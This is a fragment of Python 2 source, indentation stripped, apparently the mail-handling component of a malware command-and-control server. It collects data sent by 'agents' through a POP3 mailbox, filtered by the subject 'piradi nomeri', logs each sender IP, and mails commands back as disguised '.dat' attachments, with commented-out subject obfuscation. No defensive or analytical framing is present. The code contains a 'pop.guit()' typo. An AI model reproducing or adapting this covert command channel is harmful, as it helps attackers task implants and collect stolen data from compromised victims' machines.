def __init__(self, p2_scheme, p3_scheme, local_storage, logger):

self.LocalStorage = local_storage

self.P2Scheme = p2_scheme

self.P3Scheme = p3_scheme

self.Logger = logger

#get data from MailServer, save to fs

def isCurrentMsg(self, msg):

if msg['Subject'] == 'piradi nomeri':

return 1

print 'message doesn\'t have \'piradi nomeri\''

return 0

def deleteMsg(self, pop, numOfMsg):

try:

pop.dele(numOfMsg)

except poplib.error_proto, e:

print 'ERROR: %s'%e

#pop.quit()

return 0

#pop.quit()

return 1

def getAgentIP(self, received):

pattern_ip = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')

ip = re.findall(pattern_ip, received)

if ip is None:

return ''

return ip[len(ip)-1]

def recv_mail(self):

print 'POP3: recv_mail'

pop = None

try:

pop = poplib.POP3_SSL(POP3_MAIL_IP, POP3_PORT)

except (poplib.error_proto, socket.error) as e:

print 'POP3: ERROR: %s : %s'%(POP3_MAIL_IP,e)

time.sleep(20)

if pop == None:

return

try:

pop.user(POP3_ADDR)

pop.pass_(POP3_PASS)

except poplib.error_proto, e:

print 'POP3: ERROR: %s : %s'%(POP3_ADDR, e)

time.sleep(20)

if pop.stat()[0] == 0:

print 'POP3: no messages'

pop.quit()

time.sleep(1) #long sleep

return

for i in xrange( 1,len(pop.list()[1])+1 ):

print 'NUM: %d'%i

status, lines, octets = pop.retr(i)

msg = email.message_from_string('\n'.join(lines))

#->> P2: validate_subject

if self.isCurrentMsg( msg ) == 0:

self.deleteMsg(pop, i)

#pop.quit()

continue

ip = self.getAgentIP( msg.get_all('Received')[2] )

timestamp = msg.get('Date')

for part in msg.walk():

if part.get_content_type():

if part.get_content_type() == "application/octet-stream":

body = part.get_payload(decode=True)

if body is not None:

agent_id = struct.unpack('<I', body[:4])[0]

data = self.P3Scheme.pack_agent_data(body)

#timestamp = datetime.utcnow().isoformat()

print 'POP3: Datas: %s'%body

meta_data = self.P3Scheme.pack_data(self.P3Scheme.separator.join([ip, timestamp]))

self.LocalStorage.save_data_from_agent(agent_id, meta_data + self.P3Scheme.separator + data)

self.Logger.log_message("POP3: Data saved!")

else:

print 'POP3: empty message'

self.deleteMsg(pop, i)

continue

if self.deleteMsg(pop, i) == 0:

print 'POP3: ERROR: Msg is\'t deleted'

pop.guit()

exit(1)

time.sleep(0.1)

break

pop.quit()

#get data from fs, send to MailServer

def send_mail(self, agent_id):

print "SMTP: send_mail"

mark, res_body = self.LocalStorage.get_data_for_agent(agent_id)

if not res_body:

return

# print "%d"%len(res_body)

#->> P2: generate_subject

#token_aid = self.P2Scheme.subj_token + struct.pack("<I", agent_id)

#junk = XABase64.generate_binary_junk(5);

#res = XABase64.xor(token_aid, junk)

#res = junk+res

# print binascii.hexlify(res)

#b64subj = base64.b64encode(res)

#print b64subj

smtp = None

try:

smtp = smtplib.SMTP(SMTP_MAIL_IP, SMTP_PORT)

except (smtplib.SMTPException, socket.error) as e:

print 'SMTP: ERROR %s : %s'%(SMTP_MAIL_IP,e)

time.sleep(20)

return

if smtp == None:

return

#smtp.set_debuglevel(1)

try:

smtp.ehlo()

smtp.starttls()

smtp.login(SMTP_FROM_ADDR, SMTP_PASS)

except smtplib.SMTPException, e:

print 'SMTP for %s : %s'%(SMTP_FROM_ADDR, e)

smtp.quit()

return

# remove data from file system

self.LocalStorage.data_for_agent_accepted(agent_id, mark)

self.Logger.log_message(">>> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]")

# init smtp message

msg = MIMEMultipart('alternative')

msg['Date'] = datetime.utcnow().isoformat()

msg['Subject'] = 'piradi nomeri' # b64subj

msg['From'] = SMTP_FROM_ADDR

msg['To'] = SMTP_TO_ADDR

# load attach

_attach = MIMEBase('application', 'octet-stream')

_attach.set_payload(res_body)

# _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \

# XABase64.random_string(XABase64.generate_int(2, 4))

_attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat'%time.strftime("%d%m%Y%H%M"))

# text

_text = MIMEText('gamarjoba')

msg.attach(_text)

msg.attach(_attach)

ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string())

print 'SMTP: Data %s ia sent'%res_body

smtp.quit()